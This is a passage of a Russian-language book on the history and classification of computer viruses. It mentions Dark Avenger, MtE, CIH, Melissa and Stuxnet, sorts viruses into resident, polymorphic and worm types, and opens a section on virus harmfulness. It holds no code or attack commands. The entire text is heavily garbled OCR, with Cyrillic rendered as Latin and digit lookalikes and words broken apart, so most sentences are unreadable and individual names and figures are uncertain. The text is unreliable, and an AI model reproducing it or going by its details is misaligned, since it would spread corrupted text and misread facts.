h  e ro  « c r i0ABH»CHHK0 B », a h m ch h o  E d d ie ,  V a c s in e ,  D o o d l e  (b  to m  HHC.ne 

II 3HaMCHHTbIH «M y 3b IKa;ibH blH » D o o d l e - 2 C . 2 8 8 5 )  h  ap . K p o M e  Toro, 

aKTHBHO nO;IKJIK)HH.'lHCb K npOUeCCV HaniICaHH3 BHpyCOB VI OTCMeCTBeH- 

H w e nporpaMMHCTbi: B H pycw  ceM eiicTB X P E H ,  S V C ,  V o r o n e z h  h  M H o r iix  

a p y r i i x  6bicTpo p acn p ocrpaH H .m cb  n o CTpaHe BMecTe c KOMnbiOTepHUMH 

Hrpa.MM. npnK.rraiihmmh h  c h cTeMHHMH nporpaMMa.MH, KOTopbiM ii o 6mc- 

HHBa.HHCb M e x g y  c o o o h  n n ’ fe r o  He n on oapeB a io in iie  no jibaoB aTe.ra . D o  

BocnoMiiHaHHJiM 11. H .  J Io sH H C K oro , b 1 9 9 0 - 1 9 9 2  rr. cm v npHxo/iH jioch 

BbinycKaTb h o b v io  B epc iiio  C B o e fl a im iB H p ycH o fi nporpaM M bi a s a  pa3a  

b Heae.nio. H e  cKyH a.ra ii aB Topw  a p y r a x  an T iiB iip ycoB , rro jiyH iiB iim x 

x o a ca eH H e  b  i e  roflbi, HanpHMep B . B . B o ra a H O B  ( A n t i A P E ) ,  A .  EopucoB 
( A V S P ) ,  A la n  S o lo m o n  (D r S o l o m o n )  h ap.

A KOJlH ieCTBO BHpyCOB H BlipVCHMX CCMeHCTB IipoaO.'IJKaJIO CTpe- 

M HTe.TtHO  y B e .'im iiB a T b cy i. I i  oc,H O BH yio o n a c H o c T b  H ecjiH  n e  cT0JibK0 

aiiH iieM HH npoffjeccHona.TibHo nariH canH bix u ieaeBpoB  r a n a  D ir .  1 0 2 4  

( D r i v e r . 1 0 2 4 )  h jjh  «ya a iH o ->  3anym eH H bix  b jk h b v io  n p H p o a v  aocTaTOH- 

h o  pauoB b ix  BH pycoB ra n a  M ic h e l a n g e l o  ( M a r c h - 6 ) ,  CKOJibKO BceBos- 

p aera iom aH  JiaBHHa npocTb ix , b o  m hotom  n oB T op in om u x  a p j r  a p y ra , k o - 

p o T K O jK H B ym n x  n o a a e .r o K . H m ch h o  3t o  0 6 c T 0 HrrejibC TB 0  b  1 9 92 -1993  rr. 
n o p o a n a o  KanecTBeuHo h obm h  b ii t o k  b  3CKa;ianHH nporciBocTOflHHfl 

«B H pyc-a iiTH B npyc>> . A b t o p w  anTHBHpycHbix n porpaM M  H aya jn i hc- 

n o jib 30BaTb b c b o h x  n p o a v ic ra x  M exaHH3M .9e p u c m m e a io z o  <mcuiu3a, 

n 03B0JWBiUHH aBTOMaTHHecKH p acn o3iiaBaTb HOBbie, em e  He H3BecTHbie 

B H p yco jio raM  sraeM iu iap b i KOMnbroTepHOH H H ^ e K iy m  n o  nmHHHbiM , 

xapaKTepH M M  h m ch h o  ;uih B iip ycoB  (fyrarM enraM  K oaa h  o n ep a m w M . M x 

onnoH eH Tb i o m e m n M  c o 3zianneM  noMLMop<pHbix e u p y coe , aBa . ik h jh x  :-jk- 

3eM ri;u {pa K O Topwx x o th  h p a o o T a ™  n o  o/jhom v h  TOMy ace a-iropHTMy, h o  

He coaepacajiH  BHVTpii c e 6si nocToaH H b ix  (fjparaeH TO B K o a a . Bo.riee Toro, 

Bee t o t  ace D a r k  A v e n g e r  eae.aa/i a o cT y r iH o ii /uih m iip o K iix  M acc « 3aHHTe- 

p e c o B a H H w x  j i H 'n i o c r c i i *  r e x H o j i o r m o  M t E ,  n o a B u jiH B iu y jo  aocraTO H H O  

npocTO  noziKJiK)>jaTb M exaH H 3M  n o jiiiM opcfjH ocT ii k  /noooM y B iip ycy , n a x e  

caMOMy npiiMHTHBHOMy, M H oroKpaTH o VBejiHM HBaH TeM  caM btM  e r o  c o -  

npOTHBJIHeMOCTb 1< O D H apyK eH H tO .

CepeAHHa 90-x toaob npoiiuia noa 3HaK0M 6opb6bi hmchho c Bbico- 
KOC/IO>KHbIMH, nOAHaC M HO/.OnJW W KpopM eHflhlM U  (TO e C T b  CIIOCoSHblMH
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3apaacaTb nporpaMMbi pa3JiHHHHX t h i i o b )  BiipycaM H . IIIaHc Ha pacnpo- 
CTpaH eH H e no.xyia.xn xo/ibK O  onenb H 3o m p eH H b ie  BHpycbi, HanpiiMep 
npHHaaJiesKaiuHe k  ceM eiicTBaM  OneHalf, Natas, Zhenghi, Ukraine, 
NutCracker, RDA.Fighter, Kaczor ii a p . ,  Hanncaxb ico T o p b ie  Mor ̂ ajieKO 
H e Ka/Kabiii n p o rp a M M H c t . B c b o io  oMepe^b, B H p yco iio rn  b3h;ih Ha Boopy- 
aceHwe Kpaime c j io m h w e  m exah  si 3mm 3MyjLHi^uu jcoda, no3Bo;iHBirjHe hm h- 

T H p o B aT b  HcnojiHeiiHe nporpaMM h  pearapoBaTb yace He cxo/ibi<o H a no- 
/l03pHTc:..ibHbie (J ip a m e H T b i n p o rp a M M , CKOJibKO n a  h x  noao3pnxe/ibHbie 
ZieiicTBHH. Ha c.viejiy npocTbiM aHTHBHpycaM  xnna AidsTest ripsixo/iHJUi 
6o.xee cJio>KHbje pa3pa6oTKH, HanpHMep DrWeb mixepua H. ZUnHJioBa. 
CuTVaUHH HeCKO-TbKO CTa6M..TH3HpOBajiaCb, HO Heffa/lo/iro.

Ko BTopofi noJioBHHe 90-x to^ob 6 o j ibmmicxBO n0jib30Baxejieii y>tce 
nepemjio b  CBoen pa6oTe Ha onepaiiHoHJibie ciicxeMbi ceM eiicxBa MS 
Windows. H3MeHi«iHCb Kana/ibi pacnpocxpaHeHHH h coflep^Kamie cJ)aH- 
jiob , KomipyeMbix c fcoM iib ioxepa Ha KOMiibroxep. Ha cmchv ^ncicexaM 
npniuJiH KOMnaKT-ancKii h  rjio6a jibH b ie  ceTH. Bee name b m ccto  wrp 11 

v t h j ih t  c KOMnbKxrepa Ha K0M nbi0Tep nepe^aBa.XHCb H3o6pa>KemiH. 6a3bi 
^aHHbix, floKyMeHTbi. BHpycbi, 3apa>fcaiomne xaicne hko6u -sHeHcnoJi- 
HHMbie» (ftaiiyrbi, npocTo o6a3aHbi 6b vm  n o a tm x b o i, h ohh noaBHJiiicb! 
IlepBOH jiacTOHKOH cTaji xaic Ha3biBaeMbiH MOKpoeupyc Macro.Word. 
Concept (jjero 1995 r.), sapaxaBUJdii ciieiuia;m3HpoBaHiibie nporpa.MMbi 
Ha MaKpoasbiKe WordBasic, KOTopue co/iepsca.iHcb Buyrpii jioKymenTob 
TeKC'roBoro nponeccopa MS Word. IIotom KOJiMiiecxBO MaKpoBfipycoB
CTaJlO VBCJIHMllBaTbCH C T3KOH JKe CKOpOCTblO, C KaKOH BCCrO 3a HeCKOJIbKO
,'ier ao aroro Muomuincb MS-DOS-BHpycbi. llwiBiumcb MaKpoBiipycbJ 

3-neKTpoHHbix raojnm MS Excel (HanpiiMep, 3HaMeHiixbiii Macro. 
Excel.Laroux) h 6a3 aaiiHbix MS Access. Bhji ocBoeH MaKpoa3biK VBA, 
KOTopbiii (|)npMoii Microsoft -mocxaBJiHJicH Ha Boopyacemie» BMecTe 
C HOBblMH BepCHHMH MS Office. IlH K  paCnpOCTpaHCHHOCTH MaKpOBIi- 
pycoB npHiueJica Ha 1998-2000 ronbi, cpeflH «iiaypeaxoB» mojkho H a- 

3BaTb Macro.Word.Cap, Macro.Word97.Class, Macro.Word97.Ethan, 
Macro.Word97.Marker, Macro.Word97.Thus h npoMnx. B hobom Beice
KOJIHMeCTBO BHOBb C03/iaBaeMbIX MaKpOBHpyCOB 3aMeTH0 VMeHblUHJIOCb, 
a nepe3 HecKOJibKO ;iex h BOBce couuio Ha HeT.

KpoMe Toro, k 1996 r. BitpycoiiHcaxejiHMH ObiJin HaicoHeu-xo paspaoo- 
xaHbi cnoco6bi npocxoro h HaaeacHoro 3apaaceHHfl Windows-nporpaMM. 
KoHeHHO, HanncaiiHe Windows-BHpycoB -  He raKaa npocxaa aa/ma h 
xpe&yex /jocxaxonHo bhcokoh kDajih({jhKaijH h , ho b yc;ioBnax nepas- 
BiixocxH cooxBexcxByiomero aHXHBHpyciioro o6ecne4eHHa h HeBepua 
no;ib3oBaTe;ieH b BosMoxoiocxb pacnpocxpaiieHHH Windows-<<3apa3bi»
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noBTopHJiacb cHTyauna k o h iw  80-x roflOB. OTHOcHTeJibHO HeMHoromic- 
jiemibie Windows-Biipycti cyMeim obicTpo pacnpocxpamixbca no BceMy 
Miipy. Ari0(fx:030M cxjuia aKXiiBanna BHpyca Win9X.CIH («*lepHo6biJib- 
CKoro») b anpejie 1999 r., KOTOpaa npiiBejia k noBpea<\aeHHio c o t c h  tkichm 

KOMrtbioTepoB bo  BceM Mnpe. io^oM no3>Ke «riporpeMCJi» Ti p e3 B br {a ii h o 
3apa3Hbrii Biipyc Win32.FunLove, hcto'Ihhk3Mh pacnpocTpaHeHiia ko- 
Toporo HeOftHOKpaTHO CTaHOBHJIHCb CJiyHaHHO HH(j3HUIipoBaHHbie flHC- 

TpH6\'THBbi, pa3MemeHHbie Ha HHTepHeT-caih'ax Kpynncfrumx np0H3B0- 
jwxejieii nporpaMMHoro ooecne'ieHHa. A  iiotom Windows-BHpycu T o m :  

otowjih Ha BTopoft ruiaH, x o th  nporpaM M H o-annapaTH bie vcjiobhh, co- 

fleHCTByromne hx cymecTBonamiK) h pacnpocTpaHemno, He imieHiumeb 
h o c ra io T c a  o'mocHTejibHo OJiaronpHHTHbiMii ;uisr 3Toro BHfla «3apa3bi» 
n o  c t fx  nop.

BMecro aToro BHpycoimcaTejiH npHHjuiHCb aKTHBHo ocBaHBaTb HOBbie 
nyxn pacnpoc'rpaneHHa «3apa.3bJ» -  nepe3 rjio6ajibnyio ceTb Mnxepnex. 
O ienb ripocToii no H/iee 11 pea/imam-w Biipyc-wpBb Melissa b tom *e  
anpejie 1999 r. 3a HecKOJibKO cyroK cyMeji MHoroKparao «o6e*aTb» bcio 
n/iaiiexv. Bbi3Bas nan nicy cpezui no.xb30BaTe;ieH h chctcmhhx a/iMimnex- 
paxopoB. C.xeflyiomasi naTHJiexKa aanoMHHJiacb b ochobhom mojihhc- 
HOCHWMH no CKOpOCTII <,<paCnOJ13aHHH» H HCKJlKMHTejIbHO o6lUHpHbIMH 
no pacnpocTpaaeHHOCTH anii/ieMiwMii cexeBbix n noMTOBtix BHpycoB h 
'icpiu'ii VBS.LoveLetter, E-Worm.Win32.Swen, E-Worm.Win32.Klez, 
Net-Worm.Win32.LoveSan, E-Worm.Win32.MyDoom, Net-Worm. 
Win32.Sasser ii npomix. B 2005 roay nojiBHJmcb npH3HaKii Toro, mto 
h axil aniifleMHH CTajra noxiixonbKV cxiixaxt. H a  cMeny mooajibHbiM 
rjiiMZie.vmuM HecicojibKMX aeoirKOB paajiHMHbix MepBeii npmu.’iH npaicni- 
MecKH He npeKpaiuaiouiHPOi «mhKpo3im/ieMHii». Bbi3biBaeMbie MaccaMH 
MCJIKHX MO,lH(|jHKaUHH HCCKOJIbKHX «6a30BbIX pa3pa60T0K», -  HanpiIMep,
oamtx xo.xbKO pa3H0BHflH0CTeii MepBH Bagle iiaciHTbiBaercH HecKOJibKO 

Tbicspi. KpoMe Toro, coxpaiiHJin yMepeHHyio aKxyajibiiocTb h Bupycw  

«crapb ix » thxiob, npocTo npo hhx cxajm MeHbtue roBopHTb. B  MHpoBbix 

MacuiTaoax ohh «n e  aejiaioT noroabi», ho Bc/rpeHaiOTca b «/ihkoh npii- 
poAe» s o  chx nop.

FIomewy >Ke noKOJieiiHH BHpycoB cmch>iiot /ipyr npyra 6e3, Ka3a.?iocb 

Obi, JlOCTaTOMHO BeCKHX OObeKTIIBHbIX npHHHH? J le jlO  B TOM, MTO CHJIb- 
Hoe BJiHflinte Ha vuipoBY’io BiipycHyio «noro^y> 0Ka3biBaeT cyfibeKTHB- 
HblH COHHaJIbHHH cf)aKX0p. H3BeCTHHH ITOA HaSBaHiieM «M0fla». B  yCJIO- 
biihx pacTymero npoTHBofleiictbim, OKasbiBaeMoro BHpycaM co cropoHbi 
BHpycojioroB n  no.ab30BaTe/iefi, He0praHH30BaHH0e BHpycoriifcaTe/ib- 
CKoe coo6mecxBo MeneToi, 6pocaexca 113 ozmoii KpaHnocxH b apyryio.
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b ;uo6oir MOMeHT r0T0B0 H3MeHHTb HanpaBJienne cB oe ii /jeaTejibHoc'm. 
ec jih 3to H3MeHeniie o&eiuaeT B03M0Xai0 CTb «npocjiaBHTbCH» npome h 
6bicTpee. Kpo\ie Toro, y 3HaqHTejibH0H Mac™ Kn6epaHAerpaynaa b no- 
CJie/iHHe ro/jbi H3MemiJiacb MOTHBanna, TaK hto «cjiaBa» cTa.ua uei-WTb- 
ca icy a a MeHbiue, 'ie.\i «AeHbni>> h «B;iacTb». 3 to  npHBe/io k MaccoBbiM 
MwrpaKHaM 6biBU inx mipycomicaTe.ieii b craH rrp0MnmnK0B», to ecTb 
b CTaH n po h 3 bo ah Te .a e i i  caMocTOHTe/ibHO He pa3MHOx<aioiuerocfl, ho 
KpaHHe BpeAOHoe.Horo (noxmiiaiomero KOHf|)HAeHHHa/ibnyro mujiop.via- 
hhio, paccw.'iaiomero cna\i n t. n.) nporpaMMHoro o6ecneiiemia. HaKo- 
Heu, C03flaHHeM BpeaoHociibix nporpaMM npocJjeccHOnajibHO 3ana;mcb 
CTpyKTypbi (BepoHTHo, aiencJTyjfctfw h chjtobue BeaoMCTBa p a s x m iib ix  
CTpan), KOTopbie 3aiiHTepecoBaHbi He b MaccoBbix aiiM/ieMHax, a b tohcm- 
hhx araKax na orpaHii'iemibin Kpyr i ie jic ii.  Taic, HanpHMep, b co3;iaHHH 
h pacnpocrpaneiiHH «mnnoHCKHx nporpaMM^- Magic Lantern (2001 r.) 
u R2D2 (2011 r.) H0A03pcBaioT O B P  C IU A  h nojiiimno O P F  cootbct- 
ctbghho, a aBTopcTBo «6oeBoro» nepBa Stuxnet (2010 r.) npHnncwBaioT 
TeM nOJIHTHHeCKHM CTpyKTVpaM, KOTOpbIM He BbirOaHO paSBHTHe flflep- 
hoh nporpaMMbi Mpana.

HacToamee Bpe.wa xapaicrepH3yeTca noaBjiemieM see hobmx ii hobwx 
runoB BHpycoB, aKTHBHo ocBaiiBaiomHX MHoroHiic.neHHbie «iibipM» b 3a- 
milTHblX MexaHH3Max HH(|>OpMaUH.OHHbIX CHCTeM. KoJlHHeCTBG o6napv- 
>KeHHbix noTeimnajibHbix ueaeft juih 3apajKeim« BiipycaMii yBe.HHMHBa- 
eTca c Ka>K/'ibfM roaoM. Biipycbi Ha\nin;inc b pacnpocTpaHOTbca He TOJibKo 
BMecTe c nporpaMMaMH, ;ioKy.\ieHTaMn. ajieKTpoiiHbiMii Tao.TnuaMH ii 
html-CTpammaMH, ho ii BMecre c 6a3aMii aanHbix, Hsoopa^eHiniMii. ap- 
xiiBaMH, h aaace ocbohjih coTOByro 'le.-ietjioHityro CBasb. KpoMe Toro, cra- 
pbie «AbjpM» Toace eme no/mocTbio He 3a;iaTaiibi, h TpaaiiHHOHHbie thiili 
BiipvcoB no-npexcneMV b jiioooh momcht cnoco6Hbi «oclfacT.?mBHTb)> mh- 
poBoe KOMnbioTepHoe coo6mecrBO cbohm npncyTCTBHeM.

B.ijmaHinne H ecK o /ib K o  JieT o6emaioT neMajio apKHX h HHTepecHUx 
COOblTHH Ha 4>pOHTe aHTIIBHpyCHOH 6opb6bI.

1.3. Kame 6biBaK)T Bupycbi
A.3apm  KMaccutpuKamopa u KOjuim ifuoHepa

e o p y t  npooydujw si e  h c m .

A. h B. CTpyranKHe. «OraromeHHwe sjiom*

Panee m u  y a ce  H c ii0 J ib 3 0 B a jiH  p a a  TepM iiH O B, O T H O cau tH xca  k  p aa .'tn n n b iM  

•mnaM BHpycoB. Tenepb p accM O T p n.w  s t h  miaccn<{)HKaiuiH n o a p o fiH e e .
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1 .3 .1 .  K jiacc§«J )M Kai4iifl n o  c n o c o 6 y  n cnon h3 0B aH M « 

pecypcoB
B iiacToamee Bpewa nejiecooopa3no pa.jjiH'iarb eupycu-napa3umu (turn 
npocTo eupycbi) h eupycu-nepeu (mm  npocTo uepeu).

Ilep B w e  pa3MnoacaioTca c hciTOJiK30BaHHeM pecypcoB, npnna/we>Ka- 
m ux /tpyniM nporpaMMaM. H anpiiM ep, ohh BHe/ipaioTCH Buyxpb axnx 
n p o rp a M M  h aKXHBiipyioxca B M e c x e  c hx rsanycKOM .

Bxopue, KaK npaBMJio, ncnoJib3yioT xcuibKO pecypcu BbiHHCjmxejib- 
Hbix ciicxeM (onepaxHBHVio h .aojiroBpeMeHHyio naMHXb, nenporpaMMHWe 
4>aH.xw), paccbi.xan cboh kohhh no cexaM, pacfUia/ibiBaa hx no hochxcjihm 
HiirjjopMariHH. 6yc})epaM naMaxH, HyaciiM apxiiBaM ii x. n. 'riepBii aBXOHOM- 
Hbi. k apyra.M nporpaMMaM ohh He npiiKpeniiHroxcK.

1 .3 .2 . KnaccM4>HKauM{] n o  Tuny 3apa>KaeM bix 

0 6%eKT0B
B cooxBexcxBHH c axoH KJiaccHcJtHKaiuieH BHpycbi MoacHO pas/iejufxb Ha 
iipozpaMMHbie, 3azpy3omme, Maxpoeupycbi h MHozotuiairupopMenHbte bh- 
pycbi.

UpozpaMMHhte BHpycw 3apa:acajox (f>an.xbi apvmx nporpaMM. ITpnMep: 
Bupyc W in9X .CIH , napa3HxnpyiomiiH na Windows-nporpaMMax.

3aipy30HHue Biipycbi 3apa>Kaiox imh noaMewnox Ma.xenbKiie ripo- 
rpa.MMKH, HaxoflHmHeca b 3arpy30MHwx ceicropax >KecxKiix ;imckob, anc- 
kcx h (J).i3iiieK. IlpiiMepoM .uoxa-x cjiyacnxb BHpyc Michelangelo.

liHTaxeJibHOH cpenoii nnx Maupoeupycoe c.xyacax «MaKpocbi» hjih 
«cKpnnxw>, xo ecxb cnenHajiiranpoBanHbie nporpaMMHbie KOMnoHenxbi, 
nanHcaHHbie Ha x3t>n<ax cufiuapuee n Jiaxoaamneoi BHvxpn 4)ailjioB pa3- 
jihhhwx 0(f)HCHbix npH.TOxceHini -  aoKVMemoB MS Word, 3JieKXpOHHblX 
xaoann MS Excel, H3o6paaceniiH Corel Draw h nponero. [(pMMepbi: BH
pyc Concept, sapa/Kammnii aoicvMeHXhT MS Word; B H pyc  Laroux, 3apa- 
acaiomHH Excel-ra6amibi.

MHOzoruiaintpopMeHHue Bupycw napasHxiipyrox ozpioBpeMeHHo ira 
o6beKxax paaaHHiiux xnnoB. HanpiiMep, BHpyc OneHalf.3544 3apa*a- 
ex KaK nporpaMMbi MS-DOS. xaK h 3arpV30HHbie ceKxopa BnnqecxepoB. 
A  BHpycbi ceMeiicxBa Anarchy, Kpo.Me nporpaMM MS-DOS h Windows, 
cnoco6Hbi 3apa>Kaxb xaiOKe aoKyMenxbi MS Word.

1 .3 .3 . KjiaccfKtmKaLLMa n o  nptiHuwnaM  aKTMBaLttw

Ho BTOMy npH3HaKy Biipycbi ue/iecoo6pa3H<) paaaeawxb Ha pesudeHmHue 
h  nepe3udeHmnue.
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Pe3udeHtnHbte eupycu iioc to xh u o  naxo/taTca b  n a M a r a  KOMiibfoxepa 

B 3KTHBH0M COCTOHHHH, OTCJIOKHBaiOT nonblTKH o6p ailjeH H M  K XiCpTBaM 

c o  c T o p o n b i  z ipyn ix nporpaMM a onepauHOHHoft CHCTeMbi h  to jibk o  to  i via 

aapa>KaioT hx. H a n p H M e p , HcnoJiHHMue n p o rp a M M b i aapa>KaroTcjr b mo- 
MeHT 3anycKa, 3aBepiueHHa paSoTW hjih  KonHpoBaHna h x  4>aHJioB, a 3a- 

rpy30HHbie c e ic r o p a  -  b momcht oop aiu eH H H  k  /iHCKeTaM. n p H M ep aM H  n o -  

a o 6 H b ix  BHpycoB hbjisiiotch B e e  Te ace OneHalf.3544 ( b  c p e ^ e  MS-DOS) 
h Win9X.CIH ( b  c p e ^ e  Windows 95/98/ME).

Hepe3udeHmHue eupycu  3 a n y c K a io T c a  b  m o m c h t  C TapTa 3 a p a a ce H - 

HblX HOCHTeJieH. BpeM H  HX aKTIIBHOCTH OrpaHIIHCHO. H a n p H M e p , B H p y c  

V ie n n a .6 4 8  « 6 o ;ip c T B y e T »  t o j i b k o  H ecK O JibKO  m t h o b c h h h  c p a 3 y  i io c jk :  

3 a n y c K a  a a p a ^ e n n o i i  h m  n p o rp a M M b i, h o  3 a  3 t o  BpeM H y c n e B a e T  n a n -  

TH Ha flHCKe MHOJKCCTBO HOBbIX JK epTB II n p H K p eiJH T bC JI K HHM , a  I70T0M  

n e p e / ia e T  y n p a B J ie im e  C BoeM y H o cM T ejn o  h  «3acM iiaeT >>  f lo  c j i e j iy i o in e r o  

3 a n y c K a .

B MHoro3aaaMHUX oriepanHOHUbix cncTeMax bo3mo5khh « nomjpe.3u- 
dei(niHhiei> BHpycw. ohh  cTap-rvioT KaK Hepe3HaeHTHbie, opraHHayioT  

c.e6x b  Bii/ie oiyieJibiioro noTOKa 3ajraucHHOH nporpaMMbi, Becb cpoK  

paooTbi 3toh  nporpaMMbi BejiyT ce6a cjiobho pean/ieiiTHbie, a iiotom  3a- 

BepmaioT pa6oTy B.wecre c n p o r p a m m o ii - i i o c m to  ji e m . Ilp iiM ep -  Win32. 
Funlove.4070.

1 . 3 . 4 .  K j ia c c M ^ M K a u M s i  n o  c n o c o 6 y  o p ra H W 3 a i4 M M  

n p o r p a M M H o r o  K O fla

3 tot TaKcoHOMH^ecKHii iipii3HaK no3BojiaeT Bbi^ejiHTb He3aum(ppoeaH- 
nue, 3atuu<ppoeaHHt>ie n nojiu.¥op<pHue BHpycw.

He3aiuu<ppoeaHHbie eupycu iipe/icTaB.iHioT co6 oh npocTb ie  n porpaM 

Mbi, koji KOTopax He nojiBepraeTca hiik3 koh aonojiHMTejibijoii oopa6oT- 
Ke. T aK n e  BHpycbi (H anpH M ep, V ie n n a .6 4 8 )  jictko ounapy>KHBaTh b  n p o - 

rpaM M ax, n cc jie ;ioB aTb  n p n  n o M o m ii AH3acceMo.?iepoB h aeKOMiiHJiHTopoB 

h yaaJiHTb.
Koa 3auiu<ppoeaHuux eupycoe, KaK npaBHJio, no/inepracTCH neKOTopbiM 

BHA0H3MeHeHHHM. BlipVC 3apa5KaeT >KepTBhI CBOeii 3aiHH(})pOBaHHOH K0- 
mien, a nocJie CTapTa paciuiif|)poBbiBaeT ee b naMHTH 3BM . ripn oona- 
py>KeHHH, H.syneiiHii ii y/iajiemm TaKHX BHpycoB B03HHKaroT Tpyzinocni, 
TaK KaK BHpycojiory hcooxoahmo KaK MiiHHMyM BbinoJimrrb o6paTHyio 
onepamno -  pacmn4>poBKy Kojia. Oobiniio 3amn4>poBKa BiipycoB conpo- 
BO*jiaeTCH iiciiojii>rtoijaiiHeM b Koae cnemiajibHbix aHTHOTjia/ioHHbix npn- 
eMOB. ilpHMep TaKoro BHpyca -  Sayha.Diehard.
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HaKoneu, nojiuMop<pmie eu p ycu  -  3To paaHOBHAHOCTb 3aiiiH4>poBaH- 
Hbix BiipycoB, KOTopwe MeitaioT cboh aboiothmh o6pa3 OT 3K3e\inJIHpa 
k 3K3eMiiJiHpy. HanpHMep, noJiHMopcJjubiMH a B n u m c fi Bee Bnpycw ce- 
MefiCTBa OneHalf. MacTHWM c.ny'taeM no.rmMop4)Hux hbjihk>tch .uema- 
MoptpHbie BiipycH, Koropue He umcfjpyioT /ibohuhwh o6pa3 cBoero TeJia, 
a npocTO nepecTasjiaroT MecxaMH ero KOMan/ibi h  aaMeHHioT h x  aHa.'iora- 
mh, Bbxno.fiHinomHMH Te ace achctbhh. flpnMep: W in32.ZMyst.

1 .3 .5 .  lO iacciK iM iK au iifi B u pycoB -n epB eM

Haute Bcero oHa BbinojiHHeTCH no cnoco6y pacnpocxpaHeniiH. JJonmoeue 
nepeu (HanpHMep, E-W orm .W in32.Aliz) pacnpocTpamnoTcn no 3;ieKT- 
ponnoii no>n:e, b bhac bjiojkchhh («aTTa<ieii») b a ’leKTponnbie raicb- 
Ma. Cerneeue uepau (hx eme xiHoraa na3HBaioT «uumepHern-nepanMU»), 
TaKiie KaK, HanpHMep, Net-W orm.W in32.Lovesan, HCHOJibayfOT ju ih  
CBoero pacnpocTpaHeHra HenocpeacTBeHHo ceTeBbie npoTOKo;iH h pac- 
cbijiaioT ce6x BHyrpH ha(|)opmami o h h bi x naKeTOB. «'lejierf)OHHbie», hjih 
<<-Mo6ujibHbie». Mepeu (HanpHMep, Cabir), sns;rafomnec>i p a 3 h o b h;ihoctbio 
«ceT('Bbix», npn caMopacnpocTpaneHHH nojibayjoTCH cneini<t)HMecKHMn 
npoTOKOJiaMii 6ecnpoBoaHoro HHcfjopManHOHHoro ooMcua, TaKHMH KaK 
BlueTooth. A  H3BecTHbie eme c 1980-xroztoB (paiuioebte Mepeu (HanpiiMep, 
Mkworm.715) caMocxosiTejibHo ne pacnpocTpaHsroTca c KOMnbKrrepa Ha 
KOMnbioTep, BMecTo 3Toro oHii pacK.TiaabreaiOT cboh MHoroHHCJieHHbie 
Konim no pa3.7iHHHbiM KaTajioraM pasjmMHbix HOCHTejiefi HHcfjopMamtH H 
«3acoBbiBaroT» hx b Z IP- h RAR-apxHBM.

1 .3 .6 .  npoM M e K iiaccH <t)iiK au iiii

CymecTByeT eme HeMa.no BupycHbix TaKconoMHH, riopoii A0B0;ibH0 CTpaH- 
Hbix. HanpiiM ep. ropuciaM  BbiroflHO aeJiiiTb Bee BHpycu Ha ^o y .m a p tm e »  
(cocTOHiune H3 e m Horo Heae.TOMoro ^parMema) h <spa3dpo6jieHHue» 
(COCTOHUUIC 113 OTHeJIbHblX 4>parMeHT0B, He HBJlJHOmilXCH BHpycaMH, HO 
cnoco6Hbix o6i>eflHHHTbcH b oahv BHpyciiyio nporpaM M y). A jKypHajinc- 
th , He HMerouiHe HHKaKoro npe/icTaB.’ieHHH o pea./ibHO.vt ycrpoHCTBe h 
bo 3 m o »h o c th x  BHpycoB, o6cy>KZ(aiOT «'ieTbipe noKo;ienna ziecrpyKTHB- 

h o c th » , npHMeM BHpycw, npiiHa/i.aejKaiuHe nocjieAHeMy noKOJiemiro, >jko- 
om cnocooHbi B03?ieitcTB0BaTb avK na he;i o b cmeckhh M03r.

PasvMeeTca, Hac no;io6naji <<HCHayMHaH (|)ahtactmka»  HHTepecoBaTb 
ne oyaeT.
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1.4 . O  «BpeAHOCTM» H «nO Ae3HOCTM»
BHpycoB

* IIa n a tu a , -  loeop iu i o h . -  B p a to M b i  c ea.uu aa - 

k o h m u m  am om  6eccM  u c .ie im « u cnop *.

A. h 5. CTpyraitKHe. «rpaa o6pe>ieiiHMii»

Bonpoc He TaK npocT, KaK moivio  6bi noKasaxbCfl Ha nepBbifi b siv ih a . K  3a- 

BejoMQ BpeflOHOcHbiM BHpycaM, HanpiiMep k  Win9X.CIH, oxHomeHHe 

0/iH03fra'iH0 HeraTHBHoe. Ho KaK 6biTb c BHpyca.viH, ne co/iep>KamnMn 

fleCTpVKTlIBHblX (fjpar.YieiiXOB, C XCMH. KOTOpbie npOCTO pa3.\tfIO>KaKJTCH? 

B npyc, HanncaHHbiH KBajniifiHUHpciBannbiM n «coBecT.nnBbiM» aBTopoM, 

npaKTHHecKH He3aMexen ii 6e;iBp<\:ieH. BonpeKH pacnpocxpaneHHOMy 

MiieHiuo TaKiix BHpycoB neMa,!io, 6o;iee Toro, h x  ne MeHee noJioBHHbi.

D o npeaJioaceHiiio E. KacnepcKoro c hhcxo xexHiinecKOH toh k h  apem w  

Bee MHO*ecTBO cymecTByiomHx KOMiJBiarepHUX BHpycoB moskct 6wnnb 
paa^e.'ieno Ha xpn rpym ibi:

O  o n e h i>  o n a c H b te .  B H p y c b i. n p e a H a s H a y e iiH b ie  j m n  yH H 'ixo xccH M Ji 

aaHHUx h.tih 6;ioKnpoBatiHM paooTbi KOMnbKiTepa (HanpHMep, 

Win9X.CIH cnoco6eH  (|)axa.<JbHo 3a6iiBaxb «M ycop 0M'> cJiy'fail-

HblMH aaHHblMH, He HecyiUHMlI HHKaKOH CMI)K'JIOBOH HarpV3KIl, -  

Flash-BlOS h nepesamicbiBaxb raKHM ace «.viycopoM » ceKTopa 

BHHHecTepa);

O  onacuue  Bupycw, npucyxcxBHe Koxopbix Ha KOMiibroxepe Mo>Kex 
npHBecm k neace.xaTeJibHbiM nocaeacTBiiflM -  HanpiiMep, BHpyc 
Jerusalem.1808 HeKoppeKTHO 3apa>KaJi neKoxopue nporpaMMH, 
b perjy.ibxaxe yero ohh cxaHOBii;incb nepa6oxocnoco6HbiMHj 

O  6e3epedHue h neonacm ie  BHpycbi, hhk3k hc BJinaioiUHe Ha pa6oxy 
KOMnbioxepa h coxpaHHocxb ziainibix, -  HanpiiMep, 6o.xbiiiHHCXBo 
BHpycoB ceMewcxBa Search.

Kohciho, 3xo flejieH iie vcjiobiio. B  nacxHocTH, MMcexca xen/tenuMM no- 

cxeneHHoro riepexo/ja c xeneHiieM BpeMemi pjifla BiipycoB H3 fcxacca «&e.3- 

Bpe«H bix» b icxacc «onacH b ix». 3 x o  upoHcxoziHx noxoMy, mxo onepam ion- 

Hbie ciicxeMH nocxo^HHO pa3BHBaioxcH h H3MeH>iK)xc>i, a BMnymeHHbie 

B «aiiK>TO npupo/ivo Biipycbi -  Hex. KaK pe3y.xbxaT KaKoii-HHoyab iifleajib- 

ho upHciiocoDJieHiibiii k cpeae MS-DOS BHpyc, CKopee Bcero, BbisoBex 

npooJieMbi npn 3anycKe HHcfimiHpoBaniioH hm nporpaMM!,i non Windows. 
